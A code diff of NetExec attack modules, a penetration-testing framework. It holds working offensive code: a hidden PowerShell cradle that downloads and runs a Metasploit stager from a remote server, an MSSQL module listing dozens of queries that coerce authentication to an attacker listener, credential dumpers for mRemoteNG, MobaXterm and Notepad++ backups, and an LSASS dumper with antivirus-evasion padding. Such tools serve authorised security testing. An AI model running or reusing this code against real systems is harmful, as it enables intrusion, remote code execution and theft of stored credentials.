-            After running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that, or whatever you set URIPATH to
+            after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
         """
         self.met_ssl = "https"
 
@@ -58,19 +53,24 @@ class NXCModule:
         self.srvport = module_options["SRVPORT"]
 
     def on_admin_login(self, context, connection):
-        # https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
-        proto = "http" if self.met_ssl == "http" else "https"
-        metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
-        context.log.debug(f"{metasploit_endpoint=}")
-        
-        # use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
-        command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
-        context.log.debug(f"Running command via ps_execute: {command}")
-        
-        output = connection.ps_execute(command)
-        context.log.debug(f"Received output from ps_execute: {output}")
-        
-        if output and "Unable to connect to the remote server" in output:
-            context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
-        else:
-            context.log.success("Executed payload")
+        # stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
+        command = """$url="{}://{}:{}/{}"
+        $DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
+        $PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\powershell.exe'
+        if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
+        $ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
+        $ProcessInfo.FileName=$PowershellExe
+        $ProcessInfo.Arguments="-nop -c $DownloadCradle"
+        $ProcessInfo.UseShellExecute = $False
+        $ProcessInfo.RedirectStandardOutput = $True
+        $ProcessInfo.CreateNoWindow = $True
+        $ProcessInfo.WindowStyle = "Hidden"
+        $Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
+            "http" if self.met_ssl == "http" else "https",
+            self.srvhost,
+            self.srvport,
+            self.rand,
+        )
+        context.log.debug(command)
+        connection.ps_execute(command, force_ps32=True)
+        context.log.success("Executed payload")

nxc/modules/mobaxterm.py

@@ -1,62 +0,0 @@
-from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
-from dploot.lib.target import Target
-
-from nxc.helpers.logger import highlight
-from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
-
-
-class NXCModule:
-    name = "mobaxterm"
-    description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def options(self, context, module_options):
-        """ """
-
-    def on_admin_login(self, context, connection):
-        username = connection.username
-        password = getattr(connection, "password", "")
-        nthash = getattr(connection, "nthash", "")
-
-        self.pvkbytes = get_domain_backup_key(connection)
-
-        target = Target.create(
-            domain=connection.domain,
-            username=username,
-            password=password,
-            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
-            lmhash=getattr(connection, "lmhash", ""),
-            nthash=nthash,
-            do_kerberos=connection.kerberos,
-            aesKey=connection.aesKey,
-            no_pass=True,
-            use_kcache=getattr(connection, "use_kcache", False),
-        )
-        
-        conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
-        if conn is None:
-            context.log.debug("Could not upgrade connection")
-            return
-
-        self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
-
-        if len(self.masterkeys) == 0:
-            context.log.fail("No masterkeys looted")
-            return
-
-        context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
-
-        def mobaxterm_callback(credential):
-            if isinstance(credential, MobaXtermCredential):
-                log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
-            elif isinstance(credential, MobaXtermPassword):
-                log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
-            context.log.highlight(f"[{credential.winuser}] {log_text}")
-
-        try:
-            triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
-            triage.triage_mobaxterm()
-        except Exception as e:
-            context.log.debug(f"Could not loot MobaXterm secrets: {e}")

nxc/modules/mremoteng.py

@@ -1,208 +0,0 @@
-import ntpath
-from dploot.lib.target import Target
-from Cryptodome.Cipher import AES
-from lxml import objectify
-from base64 import b64decode
-import hashlib
-from dataclasses import dataclass
-
-from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
-
-
-@dataclass
-class MRemoteNgEncryptionAttributes:
-    kdf_iterations: int
-    block_cipher_mode: str
-    encryption_engine: str
-    full_file_encryption: bool
-
-class NXCModule:
-    """
-    Dump mRemoteNG Passwords
-    module by @_zblurx
-    """
-
-    name = "mremoteng"
-    description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
-    supported_protocols = ["smb"]
-    opsec_safe = True 
-    multiple_hosts = True
-
-    def __init__(self, context=None, module_options=None):
-        self.false_positive = (
-            ".",
-            "..",
-            "desktop.ini",
-            "Public",
-            "Default",
-            "Default User",
-            "All Users",
-        )
-
-        self.mRemoteNg_path = [
-            "Users\\{username}\\AppData\\Local\\mRemoteNG",
-            "Users\\{username}\\AppData\\Roaming\\mRemoteNG",
-            ]
-        
-        self.custom_user_path = [
-            "Users\\{username}\\Desktop",
-            "Users\\{username}\\Documents",
-        ]
-
-        self.recurse_max = 10
-
-    def options(self, context, module_options):
-        """
-        SHARE           Share parsed. Default to C$
-        PASSWORD        Custom password to decrypt confCons.xml files
-        CUSTOM_PATH     Custom path to confCons.xml file
-        """
-        self.context = context
-        
-        self.password = "mR3m"
-        if "PASSWORD" in module_options:
-            self.password = module_options["PASSWORD"]
-
-        self.custom_path = None
-        if "CUSTOM_PATH" in module_options:
-            self.custom_path = module_options["CUSTOM_PATH"]
-
-    def on_admin_login(self, context, connection):
-        # 1. Evole conn into dploot conn
-        self.context = context
-        self.connection = connection
-        self.share = connection.args.share
-
-        host = f"{connection.hostname}.{connection.domain}"
-        domain = connection.domain
-        username = connection.username
-        kerberos = connection.kerberos
-        aesKey = connection.aesKey
-        use_kcache = getattr(connection, "use_kcache", False)
-        password = getattr(connection, "password", "")
-        lmhash = getattr(connection, "lmhash", "")
-        nthash = getattr(connection, "nthash", "")
-
-        target = Target.create(
-            domain=domain,
-            username=username,
-            password=password,
-            target=host,
-            lmhash=lmhash,
-            nthash=nthash,
-            do_kerberos=kerberos,
-            aesKey=aesKey,
-            use_kcache=use_kcache,
-        )
-
-        dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
-        if dploot_conn is None:
-            context.log.debug("Could not upgrade connection")
-            return
-
-        # 2. Dump users list
-        users = self.get_users(dploot_conn)
-
-        # 3. Search for mRemoteNG files
-        for user in users:
-            for path in self.mRemoteNg_path:
-                user_path = ntpath.join(path.format(username=user), "confCons.xml")
-                content = dploot_conn.readFile(self.share, user_path)
-                if content is None:
-                    continue
-                self.context.log.info(f"Found confCons.xml file: {user_path}")
-                self.handle_confCons_file(content)
-            for path in self.custom_user_path:
-                user_path = path.format(username=user)
-                self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
-        if self.custom_path is not None:
-            content = dploot_conn.readFile(self.share, self.custom_path)
-            if content is not None:
-                self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
-                self.handle_confCons_file(content)
-    
-    def get_users(self, conn):
-        users = []
-
-        users_dir_path = "Users\\*"
-        directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
-
-        for d in directories:
-            if d.get_longname() not in self.false_positive and d.is_directory() > 0:
-                users.append(d.get_longname())  # noqa: PERF401, ignoring for readability
-        return users
-    
-    def handle_confCons_file(self, file_content):
-        main = objectify.fromstring(file_content)
-        encryption_attributes = MRemoteNgEncryptionAttributes(
-            kdf_iterations=int(main.attrib["KdfIterations"]),
-            block_cipher_mode=main.attrib["BlockCipherMode"],
-            encryption_engine=main.attrib["EncryptionEngine"],
-            full_file_encryption=bool(main.attrib["FullFileEncryption"]),
-        )
-        
-        for node_attribute in self.parse_xml_nodes(main):
-            password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
-            if password == b"":
-                continue
-            name = node_attribute["Name"]
-            hostname = node_attribute["Hostname"]
-            domain = node_attribute["Domain"] if node_attribute["Domain"] != "" else node_attribute["Hostname"]
-            username = node_attribute["Username"]
-            protocol = node_attribute["Protocol"]
-            port = node_attribute["Port"]
-            host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " " 
-            self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
-
-    def parse_xml_nodes(self, main):
-        nodes = []
-        for node in list(main.getchildren()):
-            node_attributes = node.attrib
-            if node_attributes["Type"] == "Connection":
-                nodes.append(node.attrib)
-            elif node_attributes["Type"] == "Container":
-                nodes.append(node.attrib)
-                nodes = nodes + self.parse_xml_nodes(node)
-        return nodes
-    
-    def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
-        directory_list = conn.remote_list_dir(self.share, directory_path)
-        if directory_list is not None:
-            for item in directory_list:
-                if item.get_longname() not in self.false_positive:
-                    new_path = ntpath.join(directory_path, item.get_longname())
-                    if item.is_directory() > 0:
-                        if recurse_level < recurse_max:
-                            self.dig_confCons_in_files(conn=conn, directory_path=new_path, recurse_level=recurse_level + 1, recurse_max=recurse_max)
-                    else:
-                        # It's a file, download it to the output share if the mask is ok
-                        if "confCons.xml" in item.get_longname():
-                            self.context.log.info(f"Found confCons.xml file: {new_path}")
-                            content = conn.readFile(self.context.share, new_path)
-                            self.handle_confCons_file(content)
-                            
-
-    def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
-        encrypted_password = b64decode(encrypted_password)
-        if encrypted_password == b"":
-            return encrypted_password
-
-        if encryption_attributes.encryption_engine == "AES":
-            salt = encrypted_password[:16]
-            associated_data = encrypted_password[:16]
-            nonce = encrypted_password[16:32]
-            ciphertext = encrypted_password[32:-16]
-            tag = encrypted_password[-16:]
-            key = hashlib.pbkdf2_hmac("sha1", self.password.encode(), salt, encryption_attributes.kdf_iterations, dklen=32)
-            if encryption_attributes.block_cipher_mode == "GCM":
-                cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
-            elif encryption_attributes.block_cipher_mode == "CCM":
-                cipher = AES.new(key, AES.MODE_CCM, nonce=nonce)
-            elif encryption_attributes.block_cipher_mode == "EAX":
-                cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
-            else:
-                self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}-{encryption_attributes.block_cipher_mode}: Not yet implemented")
-            cipher.update(associated_data)
-            return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
-        else:
-            self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")

nxc/modules/ms17-010.py

@@ -248,7 +248,7 @@ class NXCModule:
         ]
 
         # Create the IPC string
-        ipc = f"\\\\{ip}\\IPC$\x00"
+        ipc = f"\\\\{ip}\IPC$\x00"
         self.logger.debug(f"Connecting to {ip} with UID: {userid.hex()}")
 
         # Initialize the tree connect andx request

nxc/modules/msol.py

@@ -3,7 +3,7 @@
 # Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
 from sys import exit
 from os import path
-from nxc.paths import TMP_PATH
+import sys
 from nxc.helpers.powershell import get_ps_script
 
 
@@ -49,14 +49,14 @@ class NXCModule:
 
     def on_admin_login(self, context, connection):
         if self.use_embedded:
-            file_to_upload = f"{TMP_PATH}/msol.ps1"
+            file_to_upload = "/tmp/msol.ps1"
 
             try:
                 with open(file_to_upload, "w") as msol:
                     msol.write(self.msol_embedded)
             except FileNotFoundError:
                 context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
-                exit(1)
+                sys.exit(1)
             
         else:
             if path.isfile(self.MSOL_PS1):

nxc/modules/mssql_coerce.py

@@ -1,79 +0,0 @@
-import sys
-
-class NXCModule:
-    """Execute arbitrary SQL commands on the target MSSQL server"""
-
-    name = "mssql_coerce"
-    description = "Execute arbitrary SQL commands on the target MSSQL server"
-    supported_protocols = ["mssql"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self):
-        self.mssql_conn = None
-        self.context = None
-        self.listener = None
-
-    def options(self, context, module_options):
-        """
-        LISTENER       LISTENER for exploitation
-        L              Alias for LISTENER
-        """
-        self.context = context
-        self.listener = None
-        if "LISTENER" in module_options:
-            self.listener = module_options["LISTENER"]
-        if "L" in module_options:
-            self.listener = module_options["L"]
-
-    def on_login(self, context, connection):
-        if self.listener is None:
-            context.log.error("LISTENER option is required!")
-            sys.exit(1)
-        self.context = context
-        self.mssql_conn = connection.conn
-        commands = [
-          f"xp_dirtree '\\\\{self.listener}\\file';",
-          f"xp_fileexist '\\\\{self.listener}\\file';",
-          f"BACKUP LOG [TESTING] TO DISK = '\\\\{self.listener}\\file';",
-          f"BACKUP DATABASE [TESTING] TO DISK = '\\\\{self.listener}\\file';",
-          f"RESTORE LOG [TESTING] FROM DISK = '\\\\{self.listener}\\file';",
-          f"RESTORE DATABASE [TESTING] FROM DISK = '\\\\{self.listener}\\file';",
-          f"RESTORE HEADERONLY FROM DISK = '\\\\{self.listener}\\file';",
-          f"RESTORE FILELISTONLY FROM DISK = '\\\\{self.listener}\\file';",
-          f"RESTORE LABELONLY FROM DISK = '\\\\{self.listener}\\file';",
-          f"RESTORE REWINDONLY FROM DISK = '\\\\{self.listener}\\file';",
-          f"RESTORE VERIFYONLY FROM DISK = '\\\\{self.listener}\\file';",
-          f"DBCC checkprimaryfile ('\\\\{self.listener}\\file');",
-          f"CREATE ASSEMBLY HelloWorld FROM '\\\\{self.listener}\\file' WITH PERMISSION_SET = SAFE; GO ",
-          f"sp_addextendedproc 'xp_hello','\\\\{self.listener}\\file';",
-          f"CREATE CERTIFICATE testing123 FROM EXECUTABLE FILE = '\\\\{self.listener}\\file'; GO ",
-          f"BACKUP CERTIFICATE test01 TO FILE = '\\\\{self.listener}\\file' WITH PRIVATE KEY (decryption by password = 'superpassword', FILE = '\\\\{self.listener}\\file', encryption by password = 'superpassword'); GO ",
-          f"BACKUP MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ",
-          f"BACKUP SERVICE MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ",
-          f"RESTORE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password' ENCRYPTION BY PASSWORD = 'password'; GO ",
-          f"RESTORE SERVICE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password'; GO ",
-          f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file'; DROP TABLE #TEXTFILE;",
-          f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file' WITH (FORMATFILE = '\\testing21\file'); DROP TABLE #TEXTFILE;",
-          f"SELECT * FROM sys.fn_xe_file_target_read_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',null,null); GO ",
-          f"SELECT * FROM sys.fn_get_audit_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',default,default); GO ",
-          f"SELECT * INTO temp_trc FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);",
-          f"SELECT * FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);",
-          f"CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\\\{self.listener}\\file'); GO ",
-          f"sp_configure 'EKM provider enabled',1; RECONFIGURE; GO; CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\\\{self.listener}\\file'; GO ",
-          f"CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\\\{self.listener}\\file'); GO ",
-          f"xp_subdirs '\\\\{self.listener}\\file';",
-          f"xp_cmdshell 'dir \\\\{self.listener}\\file';",
-          f"SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1,'\\\\{self.listener}\\fakefile.bak',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);",
-          f"SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0','Data Source=\\\\{self.listener}\\file\\test.xls;Extended Properties=EXCEL 5.0')...[Sheet1$];",
-          f"SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0','Excel 8.0;HDR=YES;Database=\\\\{self.listener}\\file\\test.xls','select * from [ProductList$]');",
-          f"SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Excel 12.0 Xml;HDR=YES;Database=\\\\{self.listener}\\file\\test.xlsx','SELECT * FROM [ProductList$]');",
-          f"SELECT * FROM sys.dm_os_file_exists('\\\\{self.listener}\\file\\test.xlsx');",
-        ]
-        for command in commands:
-            try:
-                result = self.mssql_conn.sql_query(command)
-                self.context.log.debug(f"Executing command: {command}, Command result: {result}")
-            except Exception as e:
-                self.context.log.fail(f"Failed to execute command: {command}, Error: {e}")
-        self.context.log.display("Commands executed successfully, check the listener for results")

nxc/modules/mssql_priv.py

@@ -42,12 +42,12 @@ class NXCModule:
             - rollback (remove sysadmin privilege)
         """
         self.action = None
+        self.context = context
 
         if "ACTION" in module_options:
             self.action = module_options["ACTION"]
 
     def on_login(self, context, connection):
-        self.context = context
         # get mssql connection
         self.mssql_conn = connection.conn
         # fetch the current user
@@ -219,7 +219,6 @@ class NXCModule:
         """
         if self.is_admin_user(user.username):
             user.is_sysadmin = True
-            self.context.log.debug(f"Updated {user.username} to is_sysadmin")
             return True
         user.dbowner = self.check_dbowner_privesc(exec_as)
         return user.dbowner
@@ -250,15 +249,11 @@ class NXCModule:
         self.revert_context(exec_as)
         is_admin = res[0][""]
         self.context.log.debug(f"IsAdmin Result: {is_admin}")
-        try:
-            if int(is_admin):
-                self.context.log.debug("User is admin!")
-                self.admin_privs = True
-                return True
-            else:
-                return False
-        except ValueError:
-            self.logger.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.")
+        if is_admin:
+            self.context.log.debug("User is admin!")
+            self.admin_privs = True
+            return True
+        else:
             return False
 
     def get_databases(self, exec_as="") -> list:
@@ -446,16 +441,13 @@ class NXCModule:
         :rtype: bool
         """
         res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
-        is_admin = res[0][""]
         try:
-            if is_admin != "NULL" and int(is_admin):
+            if int(res):
                 self.admin_privs = True
-                self.context.log.debug(f"Updated: {username} is admin!")
                 return True
             else:
                 return False
-        except ValueError:
-            self.context.log.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.")
+        except Exception:
             return False
 
     def revert_context(self, exec_as):

nxc/modules/nanodump.py

@@ -39,6 +39,7 @@ class NXCModule:
         NANO_EXE_NAME       Name of the nano executable (default: nano.exe)
         DIR_RESULT          Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
         """
+        self.context = context
         self.remote_tmp_dir = "C:\\Windows\\Temp\\"
         self.share = "C$"
         self.tmp_share = self.remote_tmp_dir.split(":")[1]
@@ -51,10 +52,6 @@ class NXCModule:
         self.nano = "nano.exe"
         self.nano_path = ""
         self.useembeded = True
-        # Add some random binary data to defeat AVs which check the file hash
-        padding = datetime.now().strftime("%Y%m%d%H%M%S").encode()
-        self.nano_embedded64 += padding
-        self.nano_embedded32 += padding
 
         if "NANO_PATH" in module_options:
             self.nano_path = module_options["NANO_PATH"]
@@ -101,7 +98,7 @@ class NXCModule:
             with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
                 try:
                     self.context.log.display(f"Copy {self.nano} to {self.remote_tmp_dir}")
-                    exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
+                    exec_method = MSSQLEXEC(self.connection.conn)
                     exec_method.put_file(nano.read(), self.remote_tmp_dir + self.nano)
                     if exec_method.file_exists(self.remote_tmp_dir + self.nano):
                         self.context.log.success(f"Created file {self.nano} on the remote machine {self.remote_tmp_dir}")
@@ -121,13 +118,13 @@ class NXCModule:
         self.context.log.display(f"Getting LSASS PID via command {command}")
         p = self.connection.execute(command, display_output)
         self.context.log.debug(f"tasklist Command Result: {p}")
+        if len(p) == 1:
+            p = p[0]
+
         if not p or p == "None":
             self.context.log.fail("Failed to execute command to get LSASS PID")
             return
 
-        if len(p) == 1:
-            p = p[0]
-
         pid = p.split(",")[1][1:-1]
         self.context.log.debug(f"pid: {pid}")
         timestamp = datetime.today().strftime("%Y%m%d_%H%M")
@@ -153,10 +150,7 @@ class NXCModule:
             self.context.log.fail("Process lsass.exe error on dump, try with verbose")
             dump = False
 
-        if not dump:
-            self.delete_nanodump_binary()
-            return
-        else:
+        if dump:
             self.context.log.display(f"Copying {nano_log_name} to host")
             filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
             if self.context.protocol == "smb":
@@ -180,7 +174,7 @@ class NXCModule:
                     self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
             else:
                 try:
-                    exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
+                    exec_method = MSSQLEXEC(self.connection.conn)
                     exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename)
                     self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
                 except Exception as e:

nxc/modules/notepad++.py

@@ -1,50 +0,0 @@
-from io import BytesIO
-from os import makedirs
-from os.path import join, abspath
-from nxc.paths import NXC_PATH
-
-
-class NXCModule:
-    # Finds notepad++ unsaved backup files
-    # Module by @Defte_
-
-    name = "notepad++"
-    description = "Extracts notepad++ unsaved files."
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-    false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
-
-    def options(self, context, module_options):
-        """"""
-
-    def on_admin_login(self, context, connection):
-        found = 0
-        for directory in connection.conn.listPath("C$", "Users\\*"):
-            if directory.get_longname() not in self.false_positive and directory.is_directory():
-                try:
-                    notepad_backup_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\"
-                    for file in connection.conn.listPath("C$", f"{notepad_backup_dir}\\*"):
-                        file_path = f"{notepad_backup_dir}{file.get_longname()}"
-                        if file.get_longname() not in self.false_positive:
-                            found += 1
-                            file_path = f"{notepad_backup_dir}{file.get_longname()}"
-                            buf = BytesIO()
-                            connection.conn.getFile("C$", file_path, buf.write)
-                            buf.seek(0)
-                            file_content = buf.read().decode("utf-8", errors="ignore").lower()                
-                            context.log.highlight(f"C:\\{file_path}")
-                            for line in file_content.splitlines():
-                                context.log.highlight(f"\t{line}")    
-                            filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
-                            export_path = join(NXC_PATH, "modules", "notepad++")
-                            path = abspath(join(export_path, filename))
-                            makedirs(export_path, exist_ok=True)
-                            try:
-                                with open(path, "w+") as file:
-                                    file.write(file_content)
-                                context.log.highlight(f"Notepad++ backup written to: {path}")
-                            except Exception as e:
-                                context.log.fail(f"Failed to write Notepad++ backup to {filename}: {e}")
-                except Exception:
-                    pass

nxc/modules/ntlmv1.py

@@ -7,11 +7,10 @@ class NXCModule:
     """
     Detect if the target's LmCompatibilityLevel will allow NTLMv1 authentication
     Module by @Tw1sm
-    Modified by Deft (08/02/2024)
     """
 
     name = "ntlmv1"
-    description = "Detect if lmcompatibilitylevel on the target is set to lower than 3 (which means ntlmv1 is enabled)"
+    description = "Detect if lmcompatibilitylevel on the target is set to 0 or 1"
     supported_protocols = ["smb"]
     opsec_safe = True
     multiple_hosts = True
@@ -33,22 +32,19 @@ class NXCModule:
                     "SYSTEM\\CurrentControlSet\\Control\\Lsa",
                 )
                 key_handle = ans["phkResult"]
-                rtype = data = None
+                rtype = None
+                data = None
                 try:
                     rtype, data = rrp.hBaseRegQueryValue(
                         remote_ops._RemoteOperations__rrp,
                         key_handle,
                         "lmcompatibilitylevel\x00",
                     )
-
                 except rrp.DCERPCSessionError:
                     context.log.debug("Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
 
-                # Changed by Defte
-                # Unless this keys is set to 3 or higher, NTLMv1 can be used
-                if data in [0, 1, 2]:
+                if rtype and data and int(data) in [0, 1, 2]:
                     context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data))
-
         except DCERPCSessionError as e:
             context.log.debug(f"Error connecting to RemoteRegistry: {e}")
         finally:

nxc/modules/obsolete.py

@@ -1,84 +0,0 @@
-#!/usr/bin/env python3
-
-from datetime import datetime, timedelta
-from nxc.paths import NXC_PATH
-import socket
-
-
-class NXCModule:
-    """
-    Extract obsolete operating systems from LDAP
-    Module by Brandon Fisher @shad0wcntr0ller
-    """
-    name = "obsolete"
-    description = "Extract all obsolete operating systems from LDAP"
-    supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def ldap_time_to_datetime(self, ldap_time):
-        """Convert an LDAP timestamp to a datetime object."""
-        if ldap_time == "0":  # Account for never-set passwords
-            return "Never"
-        try:
-            epoch = datetime(1601, 1, 1) + timedelta(seconds=int(ldap_time) / 10000000)
-            return epoch.strftime("%Y-%m-%d %H:%M:%S")
-        except Exception:
-            return "Conversion Error"
-
-    def options(self, context, module_options):
-        """No module-specific options required."""
-
-    def on_login(self, context, connection):
-        search_filter = ("(&(objectclass=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))"
-                         "(|(operatingSystem=*Windows 6*)(operatingSystem=*Windows 2000*)"
-                         "(operatingSystem=*Windows XP*)(operatingSystem=*Windows Vista*)"
-                         "(operatingSystem=*Windows 7*)(operatingSystem=*Windows 8*)"
-                         "(operatingSystem=*Windows 8.1*)(operatingSystem=*Windows Server 2003*)"
-                         "(operatingSystem=*Windows Server 2008*)(operatingSystem=*Windows Server 2012*)))")
-        attributes = ["name", "operatingSystem", "dNSHostName", "pwdLastSet"]
-
-        try:
-            context.log.debug(f"Search Filter={search_filter}")
-            resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
-        except Exception:
-            context.log.error("LDAP search error:", exc_info=True)
-            return False
-
-        answers = []
-        context.log.debug(f"Total of records returned {len(resp)}")
-
-        for item in resp:
-            if "attributes" not in item:
-                continue
-            dns_hostname, pwd_last_set = "", "0"  # Default '0' for pwdLastSet
-            for attribute in item["attributes"]:
-                attr_type = str(attribute["type"])
-                if attr_type == "operatingSystem":
-                    os = str(attribute["vals"][0])
-                elif attr_type == "dNSHostName":
-                    dns_hostname = str(attribute["vals"][0])
-                elif attr_type == "pwdLastSet":
-                    pwd_last_set = str(attribute["vals"][0])
-
-            if dns_hostname and os:
-                pwd_last_set_readable = self.ldap_time_to_datetime(pwd_last_set)
-                try:
-                    ip_address = socket.gethostbyname(dns_hostname)
-                    answers.append((dns_hostname, ip_address, os, pwd_last_set_readable))
-                except socket.gaierror:
-                    answers.append((dns_hostname, "N/A", os, pwd_last_set_readable))
-
-        if answers:
-            obsolete_hosts_count = len(answers)
-            filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
-            context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
-            with open(filename, "w") as f:
-                for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
-                    log_message = f"{dns_hostname} ({ip_address}) : {os} [pwd-last-set: {pwd_last_set_readable}]"
-                    context.log.highlight(log_message)
-                    f.write(log_message + "\n")
-        else:
-            context.log.display("No Obsolete Hosts Identified")
-
-        return True

nxc/modules/petitpotam.py

@@ -1,6 +1,25 @@
+# From https://github.com/topotam/PetitPotam
+# All credit to @topotam
+# Module by @mpgn_x64
+
+import sys
+
+from impacket import system_errors
+from impacket.dcerpc.v5 import transport
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
+from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD, PCHAR, RPC_SID, LPWSTR
+from impacket.dcerpc.v5.rpcrt import (
+    DCERPCException,
+    RPC_C_AUTHN_WINNT,
+    RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
+    RPC_C_AUTHN_GSS_NEGOTIATE,
+)
+from impacket.uuid import uuidtup_to_bin
+
+
 class NXCModule:
     name = "petitpotam"
-    description = "[REMOVED] Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
+    description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
     supported_protocols = ["smb"]
     opsec_safe = True
     multiple_hosts = True
